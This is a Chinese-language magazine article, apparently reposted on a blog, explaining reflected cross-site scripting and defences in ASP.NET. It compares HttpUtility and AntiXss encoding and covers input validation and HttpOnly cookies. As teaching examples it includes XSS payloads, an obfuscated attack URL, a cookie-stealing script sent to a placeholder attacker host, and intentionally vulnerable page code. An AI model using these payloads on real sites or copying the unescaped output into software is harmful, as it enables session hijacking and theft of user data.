`
mowengaobo
  • 浏览: 164167 次
  • 性别: Icon_minigender_1
  • 来自: 武汉
社区版块
存档分类
最新评论

HttpUtility与AntiXss的区别

 
阅读更多

作者:褚诚云

《程序员》文章。申明。文章仅代表个人观点,与所在公司无任何联系。

1.概述

跨站脚本Cross-Site Scripting(XSS)是最为流行的Web安全漏洞之一。据统计,2007年,跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么,什么是跨站脚本?它的危害性是什么?Web开发人员如何在开发过程中避免这类的安全漏洞?就是我们这篇文章要讨论的内容。

2.什么是跨站脚本

2.1 跨站脚本介绍

跨站脚本,就是攻击者可以将恶意的脚本代码注入到用户浏览的其它网页上。它有好几种类型。其中最为普遍的类型称为反射类(Reflection)的跨站脚本。让我们来看下面这个例子来具体说明XSS的机理。

以一个简单的ASP网页举例。这个ASP网页的目的很简单:用户输入自身名字,ASP动态产生一个“hello world”的网页。

testXSS.html


<html> <head> <title>XSS Test Page</title> </head> <body> <form action="testXSS.asp" method="GET"> XSS-test page. <br> Please enter your name: <input type="text" name="txtName" value=""></input> <input type="submit" value="Hello"></input> </form> </body> </html>

当用户浏览到这个网页时,就会显示:

 

输入用户的名字,例如foo。点击Hello,就会产生以下ASP请求:

http://<server-url>/testXSS.asp?txtName=foo

下面是后台ASP的代码,

testXSS.asp


<html> <head> <title>XSS Test Result ASP page</title> </head> <body> <% Response.Write("Hello world! ") Response.Write(Request.QueryString("txtname")) %> </body> </html>

动态生成的ASP网页就是:

 

这个ASP应用很简单,看上去没有任何功能上的问题。但是,它确存在着一个非常典型的反射类的跨站脚本漏洞。下面我们来看看攻击者是如何利用的。

在用户姓名栏中输入脚本信息:


<script>alert("script injection\n"+document.cookie);</script><body>

发出的ASP的请求就是:

http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

那么,动态生成的ASP 网页中就包括了攻击者插入的脚本


<html> <head> <title>XSS Test Result ASP page</title> </head> <body> Hello world! <script>alert("script injection\n"+document.cookie);</script> </body> </html>

用户的Browser就会弹出以下窗口:

 

跨站脚本除了Reflection类型外,还有其它几种类型,例如基于DOM的跨站脚本和存储型的跨站脚本,限於篇幅,这里就不详细讨论了。有兴趣的读者可以参见【1】。

3. 跨站脚本的危害性

看了上面这个XSS的例子,那么XSS的造成的危害在哪里?下面我们通过一些问答来阐述XSS的危害性。

提问1:这不是攻击者自己键入的脚本在自己的浏览环境中执行吗?

其实不然,XSS的攻击手段是诱使用户点击email或网页中的URL链接,例如下面这个URL链接:

http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

这样,当一个普通用户点击的这个链接的时候,攻击者的脚本就可以在这个被攻击用户的浏览环境中执行了。

提问2:上面这个链接也太可疑了。脚本直接显示在URL中,一般的用户可能是不会点击的吧?

没错。但是在真正的攻击中,以上的script会以不同的形式编码,例如下面这种链接:

http:// <server-url>/testXSS.asp?txtName=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%73%63%72%69%70%74%20%69%6E%6A%65%63%74%69%6F%6E%5C%6E%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E

对于这种链接,许多普通用户可能就直接点击了。尤其是如果Server-url是自己经常访问的网站的话 。

提问3:只是显示了document.cookie有什么危害?

如果只是显示cookies的话,当然不会造成任何影响。但是,上面这个例子只是一个示范。在真正的攻击中,往往会将用户的cookies直接发送到攻击者控制的网站。例如使用以下脚本:

<script>document.location='http://<badguy-url>/cgi-bin/cookie.cgi? '%20+document.cookie</script>

提问4:窃取了document.cookie又有什么危害?

这就要从浏览器安全的基本原则:同源原则SOP(Same-origin policy)讲起。简要的说,SOP意味着一个域的文档或脚本,在未经用户批准的情况下,不能获取或修改另一个域的文档的属性。为什么需要SOP?你肯定不希望在访问www.bad-url.com的时候它里面的脚本可以阅读www.hotmail.coml中的内容。

基于SOP,一个域存放的Cookie只能和该域的服务器打交道。例如,hotmail的Cookie只能给 hotmail服务器使用。其它任何网站都不能获取这个Cookie。

正因为Cookie的这个特性,在许多Web应用的设计上,都是先用https来验证用户的登录名和密码,然后发送一个特殊的Session Cookie来代表用户验证过的身份。举个例子,如果hotmail存在在XSS漏洞,一个用户的hotmail的session cookie就可能被攻击者获取。攻击者然后就可以用这个session cookie,以这个用户的身份访问hotmail,从而造成敏感信息的泄漏(information disclosure)。

4.如何避免XSS安全漏洞

虽然在IE8中引入了客户端的XSS过滤器以减少XSS对用户造成的危害,但是XSS本质上是Web应用服务的漏洞,仅仅依赖客户端的保护措施是不够的。解决问题的根本是在Web应用程序的代码中消除XSS安全漏洞。

以下是在Web应用的开发中避免XSS安全漏洞的几个原则:


检查所有产生动态网页的代码
判定动态网页的内容是否包括不安全的输入信息
对输入进行校验
对输出进行编码以过滤特殊字符

采用不同的Web开发工具,实施以上原则的具体步骤也不相同。下面我们就用微软的ASP.NET来举例。

设想如下的ASP.net应用【2】:


<%@ Page Language="C#" ValidateRequest="false" %> <html> <script runat="server"> void btnSubmit_Click(Object sender, EventArgs e) { // If ValidateRequest is false, then 'hello' is displayed // If ValidateRequest is true, then ASP.NET returns an exception Response.Write(txtString.Text); } </script> <body> <form id="form1" runat="server"> <asp:TextBox id="txtString" runat="server" Text="<script>alert('hello');</script>" /> <asp:Button id="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" /> </form> </body> </html>

细心的读者可能注意到上面有一个特殊的设置ValidateRequest="false"。我们以后会对它详细说明。

检查所有产生动态网页的代码

ASP.net有两种方式产生动态网页。一个是通过Response.Write,一个是通过<%=。

判定动态网页的内容是否包括用户输入的信息

例如,检查Response.write的输出数据的来源。上例中它的数据源于txtString,是源自用户的输入数据。

验证用户的输入

ValidateRequest选项

缺省情况下,在ASP.NET的machine.config文件中,validateRequest选项是打开的。ASP.NET会自动对用户输入作一定的验证。

例如,当ValidateRequest的值为true的话,如果用户输入txtstring的值为<script>alert('hello');</script>。ASP.NET会有产生如下异常信息:


HttpRequestValidationException (0x80004005): A potentially dangerous Request.Form value was detected from the client (txtString="<script>alert('hello...").] System.Web.HttpRequest.ValidateString(String s, String valueName, String collectionName) +3307682 System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection nvc, String collectionName) +108 System.Web.HttpRequest.get_Form() +119 System.Web.HttpRequest.get_HasForm() +3309630 System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull) +45 System.Web.UI.Page.DeterminePostBackMode() +65 System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +7350 System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +213 System.Web.UI.Page.ProcessRequest() +86 System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +18 System.Web.UI.Page.ProcessRequest(HttpContext context) +49

需要强调的一点是:ValidateRequest只是ASP.NET提供的深层防御手段(Defense-in-Depth)。Web开发中不能仅依赖它,而没有专门的对输入的校验代码。

对不安全输入信息的校验。


校验来自服务器端控制的输入,可以考虑使用 ASP.NET中的 RegularExpressionValidator和 RangeValidator.
校验来自客户端HTML的输入,例如QueryString,客户端的输入控制,Cookie等等,可以考虑使用System.Text.RegularExpressions.Regex类用正则表达式来验证。
验证其它非字符串的类型,如整数,日期,货币单位等等,可以考虑用.NET Framework数据类型校验。

有兴趣的读者可以参考【3】获取进一步的信息。

对输出进行编码以过滤特殊字符

当需要将一个字符串输出到Web网页时,但又不能完全确定这个字符串是否包括HTML的特殊字符,例如“<,>,&”等等,可以使用编码(HTMLEncode)以过滤这些特殊字符。

有以下两种HTMLEncode 手段

使用ASP.NET自身支持的HttpUtility。

例如:

Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));

使用微软提供的反跨站脚本库(Microsoft Anti-Cross Site Scripting Library V1.5 - AntiXss)。

AntiXSS是一个单独下载的软件库。开发人员可以从http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en直接下载。

AntiXss的使用方式与HttpUtility类似:

String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);

那么HttpUtility和AntiXss的区别是什么?开发人员应该使用哪一种?

它们最大的区别在于HttpUtility.HtmlEncode采用的是黑名单验证(Black list)方式。即HttpUtility.HtmlEncode仅仅过滤它知道的特殊字符,而允许其它的输入。AntiXss.HtmlEncode采用的白名单验证(White list)方式。它只允许输出它认为合法的字符,而过滤掉其它的所有字符。

两者中,AntiXss.HtmlEncode要更为安全,是推荐的使用手段。关于AntiXss的进一步信息,读者可以参考【4】。

HttpOnly Cookie

HttpOnly cookie是一种对抗XSS安全漏洞的深层防御手段。

Web应用可以通过设置如下的Http Respone头信息将Cookie的属性设为HttpOnly。

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

IE6 SP1版本后就会确保客户端的脚本不能使用属性设为HttpOnly 的Cookie。从而可以有效的降低XSS安全漏洞的危害程度。当然,如果用户使用非IE浏览器,HttpOnly就无效了。关于HttpOnly Cookie的进一步信息,读者可以参考【5】。

5.总结

跨站脚本XSS是最为常见的一类Web安全漏洞。它会导致用户敏感信息的丢失。Web开发人员在开发过程中应采取必要的校验和编码手段来避免XSS安全漏洞。

6.参考文献


Cross-site scripting, http://en.wikipedia.org/wiki/Cross-site_scripting, Wikipedia
How To: Prevent Cross-Site Scripting in ASP.NET, http://msdn.microsoft.com/en-au/library/ms998274.aspx#paght000004_step2, Microsoft
How To: Protect From Injection Attacks in ASP.NET, http://msdn.microsoft.com/en-au/library/bb355989.aspx, Microsoft
Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page,http://msdn.microsoft.com/en-us/library/aa973813.aspx, Microsoft
Mitigating Cross-site Scripting With HTTP-only Cookies, http://msdn.microsoft.com/en-us/library/ms533046.aspx, Microsoft

 

分享到:
评论

相关推荐

    AntiXss攻击防止的C#代码文件

    DOM型XSS则与JavaScript的DOM(Document Object Model)有关,恶意脚本在客户端的DOM环境中执行。 C#中防止XSS攻击的方法主要包括: 1. **输入验证**:对用户提交的数据进行严格的检查和过滤,确保不包含任何可能...

    Unity3d中使用HttpUtility

    1、Unity3D引用System.Web.DLL打包发布的问题及解决 2、Unity3d中使用HttpUtility,如果直接在plugins中引入 System.Web.DLL的话,在对Unity3d项目打包的时候会报错,在U3D环境中,编译运行一切正常,但在打包发布...

    HttpUtility

    2、Unity3d中使用HttpUtility,如果直接在plugins中引入 System.Web.DLL的话,在对Unity3d项目打包的时候会报错,在U3D环境中,编译运行一切正常,但在打包发布(Build)为PC版本可执行文件时,却出现错误:...

    HttpUtility:HttpUtility是一个开放的MIT许可证项目,它有助于发出HTTP请求并从服务器返回解码的对象。 现在,此实用程序仅解析JSON

    HttpUtility HttpUtility是一个轻量级的开源MIT许可证项目,它有助于向服务器发出HTTP请求。 它使用URLSession向API发出请求,并在成功的情况下返回包含已解码对象的,在失败的情况下返回错误。 现在,此实用程序仅...

    关于URL编码

    `Server.UrlEncode`和`Server.UrlDecode`与`HttpUtility`类中的方法功能相同,但它们更易于在服务器端脚本中使用。 在实际应用中,URL编码通常用于以下场景: 1. 表单提交:当用户通过HTML表单提交数据时,如果数据...

    Html.rar_html转码 c#

    对于简体与繁体中文的转换,`HttpUtility`类并没有直接提供相关的函数。不过,可以通过其他库或者.NET Framework的`System.Globalization`命名空间中的`TextInfo`类来实现。`TextInfo`的`ToTitleCase`方法可以将字符...

    url加密URL编码 如“exit”编码为“%65%78%69%74”.zip

    `System.Web`命名空间提供了一些实用类,例如`HttpUtility`和`Uri`,它们包含了对URL编码和解码的方法。我们先来看一下URL编码: 1. **URL编码**: 使用`HttpUtility.UrlEncode`方法可以将字符串中的非字母数字...

    网络传输文本,urlEncode和decode的实现。

    1. `HttpUtility.UrlEncode`: 这个静态方法接受一个字符串作为输入,返回一个已编码的字符串。例如: ```csharp string encodedStr = HttpUtility.UrlEncode("你好,世界!"); ``` 结果,`encodedStr`将变为`...

    LitJson资源下载

    2. **反序列化**:与序列化相对,LitJson也支持将JSON字符串解析成C#对象。这对于接收服务器返回的数据或者读取本地JSON文件非常方便。使用`JsonMapper.ToObject()`方法,我们可以将JSON字符串还原为指定类型的对象...

    URL编码转换器(C#源码)

    在C#编程中,可以使用`System.Web`命名空间中的`HttpUtility`类来实现URL编码和解码。具体来说: 1. **URL编码**:可以使用`HttpUtility.UrlEncode()`方法将字符串编码为适合URL的形式。例如: ```csharp string ...

    http网络访问资源包

    总结,HTTP网络访问资源包涵盖了HTTP协议的基本原理、HttpUtility工具类的使用以及HTTP请求与响应的详细过程。理解这些内容对于开发Web应用、进行网络通信和优化网络性能至关重要。通过学习和实践,我们可以更有效地...

    C# System.Web源码

    在C#编程语言与Unity3d游戏引擎的结合应用中,System.Web是一个重要的组件,它为开发者提供了许多用于构建Web应用程序的功能。System.Web包含了诸如HttpApplication、HttpContext、HttpRequest、HttpResponse等核心...

    C#自动识别URL编码,asp.net自动识别URL编码

    - **编码与解码不匹配**: 如果编码使用的编码方式与解码时的编码方式不一致,也可能导致乱码。确保始终使用UTF-8编码进行URL处理。 - **特殊字符问题**: 特殊字符如空格、引号等需要编码才能安全地包含在URL中。...

    HtmlDecode.rar

    与C#不同,C++没有自动垃圾回收机制,所以要谨慎处理内存分配和释放,避免内存泄漏。 总的来说,`HtmlDecode.rar`的内容涉及了HTML编码和解码的核心原理,以及如何在两种不同的编程语言环境中实现这些功能。这对于...

    WebUrlEncode.rar

    此外,`HttpUtility`类还提供了一些其他与URL相关的辅助方法,例如`UrlDecode`用于解码已编码的URL,`UrlPathEncode`则主要处理路径部分,避免路径分隔符(/)被误编码。在实际开发中,理解这些方法的工作原理以及...

    字符串操作

    解密过程则与之相反,使用相同的密钥或公钥进行解密。 Cookie加密/解密同样重要,因为它们经常用于存储用户会话信息。ASP.NET提供了HttpCookie类,但默认并不加密。若需加密Cookie,开发者通常需要自定义解决方案,...

    C# 如何解析获取Url参数值

    C#提供了System.Web命名空间下的`HttpUtility`类,它包含了一个非常方便的方法`ParseQueryString`,可以将查询字符串转换为`NameValueCollection`对象。以下是如何使用这个方法的例子: ```csharp string url = ...

Global site tag (gtag.js) - Google Analytics